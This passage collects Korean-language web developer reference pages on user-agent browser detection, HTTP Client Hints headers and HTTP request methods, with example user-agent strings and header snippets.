| EdgeHTML | `Edge/xyz` | Chromium이 아닌 Edge는 애플리케이션 버전이 아닌 '*Edge/*' 토큰 뒤에 연진 버전을 배치합니다. **참고:** EdgeHTML은 Edge 브라우저 빌드 버전 79 이하에서 더 이상 사용되지 않습니다 ('Blink' 참조). |

엔진 버전 렌더링
---------

대부분의 렌더링 엔진은 Gecko를 제외하고 'RenderingEngine/VersionNumber' 토큰에 버전 번호를 넣습니다. Gecko는 `rv:` 문자열 뒤의 사용자 에이전트 주석 부분에 Gecko 버전 번호를 넣습니다. 모바일 버전용 Gecko 14와 데스크톱 버전용 Gecko 17에서는 이 값을 'Gecko/version' 토큰에도 넣습니다(이전 버전에서는 빌드 날짜를 넣은 다음 GeckoTrail이라는 고정 날짜를 넣었습니다)

운영체제
----

운영 체제는 대부분의 사용자 에이전트 문자열에 제공되지만(Firefox OS와 같은 웹 중심 플랫폼은 아님) 형식이 많이 다릅니다. 사용자 에이전트의 주석 부분에 있는 두 개의 세미콜론 사이에 있는 고정 문자열입니다. 이러한 문자열은 각 브라우저마다 다릅니다. 이는 OS뿐만 아니라 해당 버전과 관련 하드웨어(32비트 또는 64비트 또는 Mac용 Intel/PPC)에 대한 정보도 나타냅니다.

모든 경우와 마찬가지로, 이러한 문자열은 향후 변경될 수 있으므로, 이미 출시된 브라우저를 감지하는 경우에만 사용해야 합니다. 새 브라우저 버전이 출시되면 스크립트를 조정하기 위한 기술 조사가 이루어져야 합니다.

### 모바일, 태블릿 또는 데스크톱

사용자 에이전트 스니핑을 수행하는 가장 일반적인 이유는 브라우저가 실행되는 장치 타입을 확인하는 것입니다. 목표는 다양한 장치 타입에 다양한 HTML을 제공하는 것입니다.

* 브라우저나 렌더링 엔진이 한 가지 타입의 장치에서만 실행된다고 가정하지 마세요. 특히 브라우저나 렌더링 엔진마다 기본값을 다르게 설정하지 마세요.
* 브라우저가 모바일, 태블릿 또는 데스크톱에 있는지 정의하기 위해 OS 토큰을 사용하지 마세요. OS는 두 가지 이상의 타입에서 실행될 수 있습니다(예, Android는 휴대폰뿐만 아니라 태블릿에서도 실행됨)

다음 표에는 일반 브라우저 공급업체가 해당 브라우저가 모바일 장치에서 실행되고 있음을 나타내는 방식이 요약되어 있습니다.

| 브라우저 | 규칙 | 예시 |
| --- | --- | --- |
| Mozilla (Gecko, Firefox) | 설명 안에 `Mobile` 또는 `Tablet`. | `Mozilla/5.0 (Android; Mobile; rv:13.0) Gecko/13.0 Firefox/13.0` |
| WebKit 기반 (Android, Safari) | 설명 외부의 `Mobile Safari` 토큰. | `Mozilla/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30` |
| Blink 기반 (Chromium, Google Chrome, Opera 15+, Edge on Android) | 설명 외부의`Mobile Safari` 토큰 | `Mozilla/5.0 (Linux; Android 4.4.2); Nexus 5 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.117 Mobile Safari/537.36 OPR/20.0.1396.72047` |
| Presto 기반 (Opera 12-) | 설명 내부에 `Opera Mobi/xyz` 토큰 | `Opera/9.80 (Android 2.3.3; Linux; Opera Mobi/ADR-1111101157; U; es-ES) Presto/2.9.201 Version/11.50` |
| Edge on Windows 10 Mobile | 설명 외부에 `Mobile/xyz` 및 `Edge/` 토큰 | `Mozilla/5.0 (Windows Phone 10.0; Android 6.0.1; Xbox; Xbox One) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Mobile Safari/537.36 Edge/16.16299` |

요약하자면, 모바일 장치를 감지하려면 사용자 에이전트 어디에서나 `Mobi` 문자열을 찾는 것이 좋습니다.

**참고:** 장치가 `Mobi`로 표시되지 않을 만큼 충분히 큰 경우, 데스크톱 사이트를 제공해야 합니다 (더 많은 데스크톱 컴퓨터가 터치 스크린을 사용하므로 어쨌든 터치 입력을 지원하는 것이 가장 좋습니다).


Client hints(클라이언트 힌트) - HTTP

Client hints(클라이언트 힌트)
======================

**Client Hints**는 클라이언트 장치 및 에이전트별 기본 설정 목록을 확인할 수 있도록 사전 컨텐츠 체크를 위한 HTTP request header 입니다. Client Hints를 사용하면 이미지 DPR 해상도의 자동 조절과 최적화 된 assets을 자동으로 적용할 수 있습니다.

Client Hints는 자동으로 적용되는 것이 아닙니다 : ClientHints를 지원한다고 선언하기 위해서 서버에서 `Accept-CH` (accept client hints) header 또는 클라이언트에서 HTML Meta 태그의 `http-equiv` 속성을 사용하여 선언해주어야 합니다.
```

Accept-CH: DPR, Width, Viewport-Width, Downlink
```

또는

```html
<meta http-equiv="Accept-CH" content="DPR, Width, Viewport-Width, Downlink" />
```

클라이언트가 `Accept-CH` header를 전달받게 되면 지원되는 경우, Client Hint header를 추가합니다. 예를 들어 위의 Accept-CH 예제를 기반으로 클라이언트는 모든 후속 요청에 DPR, Width, Viewport-Width 및 Downlink 헤더를 추가 할 수 있습니다.

두 번째 예에서 서버는 Accept-CH 메타 태그를 설정하여 브라우저에 힌트를 제공합니다.

일반적으로, Client Hints header를 가지고 개발자 또는 어플리케이션은 브라우저에게 장치 픽셀 비율, 뷰포트 너비 및 디스플레이 너비와 같은 서버 자체 정보를 제공하도록 할 수 있습니다. 그러면 클라이언트는 서버에 클라이언트 환경에 대한 정보를 제공할 수 있고, 서버는 해당 정보를 기반으로 전송할 리소스를 결정할 수도 있습니다.

Vary Client Hints
-----------------

다른 Client Hints가 응답에 영향을 줄 수 있는 캐시를 전달하기 위해서는, `Vary` HTTP header를 사용해야만 합니다.

응답 예시 :

`Vary: Accept, DPR, Width, Viewport-Width, Downlink`

See Also
--------

* Client Hints headers
* `Vary` HTTP Header


HTTP 요청 메서드 - HTTP

HTTP 요청 메서드
===========

HTTP는 **요청 메서드**를 정의하여, 주어진 리소스에 수행하길 원하는 행동을 나타냅니다. 간혹 요청 메서드를 "HTTP 동사"라고 부르기도 합니다. 각각의 메서드는 서로 다른 의미를 구현하지만, 일부 기능은 메서드 집합 간에 서로 공유하기도 합니다. 이를테면 응답 메서드는 안전하거나, 캐시 가능하거나, 멱등성을 가질 수 있습니다.

`GET`

`GET` 메서드는 특정 리소스의 표시를 요청합니다. `GET`을 사용하는 요청은 오직 데이터를 받기만 합니다.

`HEAD`

`HEAD` 메서드는 `GET` 메서드의 요청과 동일한 응답을 요구하지만, 응답 본문을 포함하지 않습니다.

`POST`

`POST` 메서드는 특정 리소스에 엔티티를 제출할 때 쓰입니다. 이는 종종 서버의 상태의 변화나 부작용을 일으킵니다.

`PUT`

`PUT` 메서드는 목적 리소스 모든 현재 표시를 요청 payload로 바꿉니다.

`DELETE`

`DELETE` 메서드는 특정 리소스를 삭제합니다.

`CONNECT`

`CONNECT` 메서드는 목적 리소스로 식별되는 서버로의 터널을 맺습니다.

`OPTIONS`

`OPTIONS` 메서드는 목적 리소스의 통신을 설정하는 데 쓰입니다.

`TRACE` (en-US)

`TRACE` 메서드는 목적 리소스의 경로를 따라 메시지 loop-back 테스트를 합니다.

`PATCH`

`PATCH` 메서드는 리소스의 부분만을 수정하는 데 쓰입니다.

명세
--

| Specification |
| --- |
| HTTP Semantics # CONNECT |
| HTTP Semantics # DELETE |
| HTTP Semantics # GET |
| HTTP Semantics # HEAD |
| HTTP Semantics # OPTIONS |
| HTTP Semantics # POST |
| HTTP Semantics # PUT |
| HTTP Semantics # TRACE |

브라우저 호환성
--------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

같이 보기
-----

* HTTP 헤더